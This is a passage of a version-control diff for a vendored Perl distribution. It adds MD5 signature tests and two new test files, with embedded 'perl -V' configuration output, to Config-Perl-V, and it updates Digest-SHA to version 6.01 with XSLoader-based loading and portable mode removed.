@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 98;
+    my $tests = 100;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -39,6 +39,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "a2c38153cc47d340bc140d0bfe294afb";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5 version 12 subversion 2) configuration:
 

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/24_plv514.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/24_plv514.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/24_plv514.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 98;
+    my $tests = 100;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -40,6 +40,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "778815a670c0c454738aedf0c88930ba";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5 version 14 subversion 2) configuration:
 

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/25_plv516.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/25_plv516.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/25_plv516.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 97;
+    my $tests = 99;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -40,6 +40,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "7b00cf3b306d96fa802892e6ad4b070f";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 __END__
 Summary of my perl5 (revision 5 version 16 subversion 3) configuration:
    

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/25_plv5162.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/25_plv5162.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/25_plv5162.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 155;
+    my $tests = 157;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -42,6 +42,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "2917ca2a97b6db1ab8fb08798f53c0bb";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [
     "/Library/Perl/Updates/<version> comes before system perl directories",
     "installprivlib and installarchlib points to the Updates directory",

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/26_plv518.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/26_plv518.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/26_plv518.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 116;
+    my $tests = 118;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -40,6 +40,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "8f46b07a7775e6a92347d4cd564b8f03";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/26_plv5182.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/26_plv5182.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/26_plv5182.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 116;
+    my $tests = 118;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -40,6 +40,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "874325856acfea3dab7e7c944660f398";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5200.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5200.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5200.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 116;
+    my $tests = 118;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -43,6 +43,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "3e7b4513cd80c6ef00fcd77e5e16f8b4";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5202.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5202.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5202.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 117;
+    my $tests = 119;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -43,6 +43,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "9f954ebc2be7b1d7e151ab28dbdf7062";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/28_plv5220.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/28_plv5220.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/28_plv5220.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 117;
+    my $tests = 119;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -43,6 +43,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "ddcc2d51e43bf18f5234ba66529068ef";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/28_plv52201w.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/28_plv52201w.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/28_plv52201w.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 117;
+    my $tests = 119;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -43,6 +43,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "dfb32b8299b66e8bdb2712934f700d94";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/29_plv5235w.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/29_plv5235w.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/29_plv5235w.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 117;
+    my $tests = 119;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -43,6 +43,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "bccd5d78dfebd48b89faf7f1fe711733";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/30_plv5240.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/30_plv5240.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/30_plv5240.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 125;
+    my $tests = 127;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -41,6 +41,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "3dffae79f6d2c74073f0d64646709101";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches}, [], "No local patches");
 
 my %check = (

Modified: vendor/perl/dist/cpan/Config-Perl-V/t/31_plv52511.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/31_plv52511.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/31_plv52511.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN {
     use Test::More;
-    my $tests = 125;
+    my $tests = 127;
     unless ($ENV{PERL_CORE}) {
 	require Test::NoWarnings;
 	Test::NoWarnings->import ();
@@ -41,6 +41,11 @@
     is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
     }
 
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "f0e463400e40ca35b67cec3834b5b9b7";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
 is_deeply ($conf->{build}{patches},
     [ "SMOKEaa9ac6cf00899a6f55881d4ca6c1214215dc83ee" ], "Local patches");
 

Added: vendor/perl/dist/cpan/Config-Perl-V/t/32_plv5261rc1.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/32_plv5261rc1.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/32_plv5261rc1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,183 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+    use Test::More;
+    my $tests = 127;
+    unless ($ENV{PERL_CORE}) {
+	require Test::NoWarnings;
+	Test::NoWarnings->import ();
+	$tests++;
+	}
+
+    plan tests => $tests;
+    }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Sep 19 2017 11:20:22", "Build time");
+is ($conf->{config}{version}, "5.26.1", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+	DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+	PERL_DONT_CREATE_GVSV PERL_OP_PARENT
+	PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
+	PERL_PRESERVE_IVUV USE_64_BIT_ALL USE_64_BIT_INT USE_ITHREADS
+	USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+	USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+	USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+	)) {
+    is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+    delete $opt->{$o};
+    }
+foreach my $o (sort keys %$opt) {
+    is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+    }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "dd710670fec7d2e260414648dcc94e89";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [ "RC1" ], "No local patches");
+
+my %check = (
+    alignbytes      => 16,
+    api_version     => 26,
+    bincompat5005   => "undef",
+    byteorder       => 12345678,
+    cc              => "ccache cc",
+    cccdlflags      => "-fPIC",
+    ccdlflags       => "-Wl,-E",
+    config_args     => "-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des",
+    gccversion      => "4.8.3 20140627 [gcc-4_8-branch revision 212064]",
+    gnulibc_version => "2.19",
+    ivsize          => 8,
+    ivtype          => "long",
+    ld              => "ccache cc",
+    lddlflags       => "-shared -O2 -L/pro/local/lib -fstack-protector",
+    ldflags         => "-L/pro/local/lib -fstack-protector",
+    libc            => "libc-2.19.so",
+    lseektype       => "off_t",
+    osvers          => "3.16.7-32-desktop",
+    use64bitall     => "define",
+    use64bitint     => "define",
+    usemymalloc     => "n",
+    default_inc_excludes_dot
+		    => "define",
+    );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "define", "This build has . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 26 subversion 1) configuration:
+
+  Platform:
+    osname=linux
+    osvers=3.16.7-32-desktop
+    archname=x86_64-linux-thread-multi-ld
+    uname='linux sv02 3.16.7-32-desktop #1 smp preempt wed jan 20 14:05:33 utc 2016 (d4df98a) x86_64 x86_64 x86_64 gnulinux '
+    config_args='-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des'
+    hint=recommended
+    useposix=true
+    d_sigaction=define
+    useithreads=define
+    usemultiplicity=define
+    use64bitint=define
+    use64bitall=define
+    uselongdouble=define
+    usemymalloc=n
+    default_inc_excludes_dot=define
+    bincompat5005=undef
+  Compiler:
+    cc='ccache cc'
+    ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2'
+    optimize='-O2'
+    cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector'
+    ccversion=''
+    gccversion='4.8.3 20140627 [gcc-4_8-branch revision 212064]'
+    gccosandvers=''
+    intsize=4
+    longsize=8
+    ptrsize=8
+    doublesize=8
+    byteorder=12345678
+    doublekind=3
+    d_longlong=define
+    longlongsize=8
+    d_longdbl=define
+    longdblsize=16
+    longdblkind=3
+    ivtype='long'
+    ivsize=8
+    nvtype='long double'
+    nvsize=16
+    Off_t='off_t'
+    lseeksize=8
+    alignbytes=16
+    prototype=define
+  Linker and Libraries:
+    ld='ccache cc'
+    ldflags ='-L/pro/local/lib -fstack-protector'
+    libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/4.8/include-fixed /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+    libs=-lpthread -lnsl -ldb -ldl -lm -lcrypt -lutil -lc
+    perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+    libc=libc-2.19.so
+    so=so
+    useshrplib=false
+    libperl=libperl.a
+    gnulibc_version='2.19'
+  Dynamic Linking:
+    dlsrc=dl_dlopen.xs
+    dlext=so
+    d_dlsymun=undef
+    ccdlflags='-Wl,-E'
+    cccdlflags='-fPIC'
+    lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector'
+
+
+Characteristics of this binary (from libperl):
+  Compile-time options:
+    DEBUGGING
+    HAS_TIMES
+    MULTIPLICITY
+    PERLIO_LAYERS
+    PERL_COPY_ON_WRITE
+    PERL_DONT_CREATE_GVSV
+    PERL_IMPLICIT_CONTEXT
+    PERL_MALLOC_WRAP
+    PERL_OP_PARENT
+    PERL_PRESERVE_IVUV
+    PERL_TRACK_MEMPOOL
+    USE_64_BIT_ALL
+    USE_64_BIT_INT
+    USE_ITHREADS
+    USE_LARGE_FILES
+    USE_LOCALE
+    USE_LOCALE_COLLATE
+    USE_LOCALE_CTYPE
+    USE_LOCALE_NUMERIC
+    USE_LOCALE_TIME
+    USE_LONG_DOUBLE
+    USE_PERLIO
+    USE_PERL_ATOF
+    USE_REENTRANT_API
+  Locally applied patches:
+    RC1
+  Built under linux
+  Compiled at Sep 19 2017 11:20:22
+  @INC:
+    /pro/lib/perl5/site_perl/5.26.1/x86_64-linux-thread-multi-ld
+    /pro/lib/perl5/site_perl/5.26.1
+    /pro/lib/perl5/5.26.1/x86_64-linux-thread-multi-ld
+    /pro/lib/perl5/5.26.1

Added: vendor/perl/dist/cpan/Config-Perl-V/t/33_plv52711r.t
===================================================================
--- vendor/perl/dist/cpan/Config-Perl-V/t/33_plv52711r.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Config-Perl-V/t/33_plv52711r.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,183 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+    use Test::More;
+    my $tests = 127;
+    unless ($ENV{PERL_CORE}) {
+	require Test::NoWarnings;
+	Test::NoWarnings->import ();
+	$tests++;
+	}
+
+    plan tests => $tests;
+    }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Apr 12 2018 13:37:01", "Build time");
+is ($conf->{config}{version}, "5.27.11", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+	DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+	PERL_DONT_CREATE_GVSV PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT
+	PERL_MALLOC_WRAP PERL_OP_PARENT PERL_PRESERVE_IVUV PERL_USE_DEVEL
+	USE_64_BIT_ALL
+	USE_64_BIT_INT USE_ITHREADS USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+	USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+	USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+	)) {
+    is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+    delete $opt->{$o};
+    }
+foreach my $o (sort keys %$opt) {
+    is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+    }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "bd9cf7a142ddbb434adea5b08eaefdc8";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [], "Local patches");
+
+my %check = (
+    alignbytes      => 16,
+    api_version     => 27,
+    bincompat5005   => "undef",
+    byteorder       => 12345678,
+    cc              => "cc",
+    cccdlflags      => "-fPIC",
+    ccdlflags       => "-Wl,-E",
+    config_args     => "-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des",
+    gccversion      => "7.3.1 20180307 [gcc-7-branch revision 258314]",
+    gnulibc_version => "2.27",
+    ivsize          => 8,
+    ivtype          => "long",
+    ld              => "cc",
+    lddlflags       => "-shared -O2 -L/pro/local/lib -fstack-protector-strong",
+    ldflags         => "-L/pro/local/lib -fstack-protector-strong",
+    libc            => "libc-2.27.so",
+    lseektype       => "off_t",
+    osvers          => "4.16.0-1-default",
+    use64bitall     => "define",
+    use64bitint     => "define",
+    usemymalloc     => "n",
+    default_inc_excludes_dot
+		    => "define",
+    );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "define", "This build does not have . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 27 subversion 11) configuration:
+  Snapshot of: 5f6af817add6d2df3603e0e94b6eb27ba5fb3970
+  Platform:
+    osname=linux
+    osvers=4.16.0-1-default
+    archname=x86_64-linux-thread-multi-ld
+    uname='linux lx09 4.16.0-1-default #1 smp preempt wed apr 4 13:35:56 utc 2018 (e16f96d) x86_64 x86_64 x86_64 gnulinux '
+    config_args='-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des'
+    hint=recommended
+    useposix=true
+    d_sigaction=define
+    useithreads=define
+    usemultiplicity=define
+    use64bitint=define
+    use64bitall=define
+    uselongdouble=define
+    usemymalloc=n
+    default_inc_excludes_dot=define
+    bincompat5005=undef
+  Compiler:
+    cc='cc'
+    ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2'
+    optimize='-O2'
+    cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include'
+    ccversion=''
+    gccversion='7.3.1 20180307 [gcc-7-branch revision 258314]'
+    gccosandvers=''
+    intsize=4
+    longsize=8
+    ptrsize=8
+    doublesize=8
+    byteorder=12345678
+    doublekind=3
+    d_longlong=define
+    longlongsize=8
+    d_longdbl=define
+    longdblsize=16
+    longdblkind=3
+    ivtype='long'
+    ivsize=8
+    nvtype='long double'
+    nvsize=16
+    Off_t='off_t'
+    lseeksize=8
+    alignbytes=16
+    prototype=define
+  Linker and Libraries:
+    ld='cc'
+    ldflags ='-L/pro/local/lib -fstack-protector-strong'
+    libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/7/include-fixed /usr/lib64/gcc/x86_64-suse-linux/7/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+    libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat
+    perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+    libc=libc-2.27.so
+    so=so
+    useshrplib=false
+    libperl=libperl.a
+    gnulibc_version='2.27'
+  Dynamic Linking:
+    dlsrc=dl_dlopen.xs
+    dlext=so
+    d_dlsymun=undef
+    ccdlflags='-Wl,-E'
+    cccdlflags='-fPIC'
+    lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector-strong'
+
+
+Characteristics of this binary (from libperl):
+  Compile-time options:
+    DEBUGGING
+    HAS_TIMES
+    MULTIPLICITY
+    PERLIO_LAYERS
+    PERL_COPY_ON_WRITE
+    PERL_DONT_CREATE_GVSV
+    PERL_IMPLICIT_CONTEXT
+    PERL_MALLOC_WRAP
+    PERL_OP_PARENT
+    PERL_PRESERVE_IVUV
+    PERL_TRACK_MEMPOOL
+    PERL_USE_DEVEL
+    USE_64_BIT_ALL
+    USE_64_BIT_INT
+    USE_ITHREADS
+    USE_LARGE_FILES
+    USE_LOCALE
+    USE_LOCALE_COLLATE
+    USE_LOCALE_CTYPE
+    USE_LOCALE_NUMERIC
+    USE_LOCALE_TIME
+    USE_LONG_DOUBLE
+    USE_PERLIO
+    USE_PERL_ATOF
+    USE_REENTRANT_API
+  Built under linux
+  Compiled at Apr 12 2018 13:37:01
+  @INC:
+    lib
+    /pro/lib/perl5/site_perl/5.27.11/x86_64-linux-thread-multi-ld
+    /pro/lib/perl5/site_perl/5.27.11
+    /pro/lib/perl5/5.27.11/x86_64-linux-thread-multi-ld
+    /pro/lib/perl5/5.27.11

Modified: vendor/perl/dist/cpan/Digest-SHA/SHA.xs
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/SHA.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/SHA.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -401,6 +401,6 @@
 	}
 	if (cr) {
 		in[0] = '\012';
-		shawrite(in, 1 << 3, state);
+		shawrite(in, 1UL << 3, state);
 	}
 	XSRETURN(1);

Modified: vendor/perl/dist/cpan/Digest-SHA/lib/Digest/SHA.pm
===================================================================
--- vendor/perl/dist/cpan/Digest-SHA/lib/Digest/SHA.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Digest-SHA/lib/Digest/SHA.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,16 +4,16 @@
 
 use strict;
 use warnings;
-use vars qw($VERSION @ISA @EXPORT_OK);
+use vars qw($VERSION @ISA @EXPORT_OK $errmsg);
 use Fcntl qw(O_RDONLY);
 use integer;
 
-$VERSION = '5.96';
+$VERSION = '6.01';
 
 require Exporter;
-require DynaLoader;
- at ISA = qw(Exporter DynaLoader);
+ at ISA = qw(Exporter);
 @EXPORT_OK = qw(
+	$errmsg
 	hmac_sha1	hmac_sha1_base64	hmac_sha1_hex
 	hmac_sha224	hmac_sha224_base64	hmac_sha224_hex
 	hmac_sha256	hmac_sha256_base64	hmac_sha256_hex
@@ -68,6 +68,7 @@
 sub _bail {
 	my $msg = shift;
 
+	$errmsg = $!;
 	$msg .= ": $!";
 	require Carp;
 	Carp::croak($msg);
@@ -110,8 +111,8 @@
 	return(_addfile($self, $file)) unless ref(\$file) eq 'SCALAR';
 
 	$mode = defined($mode) ? $mode : "";
-	my ($binary, $UNIVERSAL, $BITS, $portable) =
-		map { $_ eq $mode } ("b", "U", "0", "p");
+	my ($binary, $UNIVERSAL, $BITS) =
+		map { $_ eq $mode } ("b", "U", "0");
 
 		## Always interpret "-" to mean STDIN; otherwise use
 		## sysopen to handle full range of POSIX file names
@@ -124,7 +125,7 @@
 	if ($BITS) {
 		my ($n, $buf) = (0, "");
 		while (($n = read(FH, $buf, 4096))) {
-			$buf =~ s/[^01]//g;
+			$buf =~ tr/01//cd;
 			$self->add_bits($buf);
 		}
 		_bail("Read failed") unless defined $n;
@@ -132,17 +133,10 @@
 		return($self);
 	}
 
-	binmode(FH) if $binary || $portable || $UNIVERSAL;
+	binmode(FH) if $binary || $UNIVERSAL;
 	if ($UNIVERSAL && _istext(*FH, $file)) {
 		$self->_addfileuniv(*FH);
 	}
-	elsif ($portable && _istext(*FH, $file)) {
-		while (<FH>) {
-			s/\015?\015\012/\012/g;
-			s/\015/\012/g;
-			$self->add($_);
-		}
-	}
 	else { $self->_addfilebin(*FH) }
 	close(FH);
 
@@ -243,7 +237,15 @@
 	$class->putstate($str);
 }
 
-Digest::SHA->bootstrap($VERSION);
+eval {
+	require XSLoader;
+	XSLoader::load('Digest::SHA', $VERSION);
+	1;
+} or do {
+	require DynaLoader;
+	push @ISA, 'DynaLoader';
+	Digest::SHA->bootstrap($VERSION);
+};
 
 1;
 __END__
@@ -617,8 +619,6 @@
 
 	"0"	use BITS mode
 
-	"p"	use portable mode (to be deprecated)
-
 The "U" mode is modeled on Python's "Universal Newlines" concept, whereby
 DOS and Mac OS line terminators are converted internally to UNIX newlines
 before processing.  This ensures consistent digest values when working
@@ -626,12 +626,6 @@
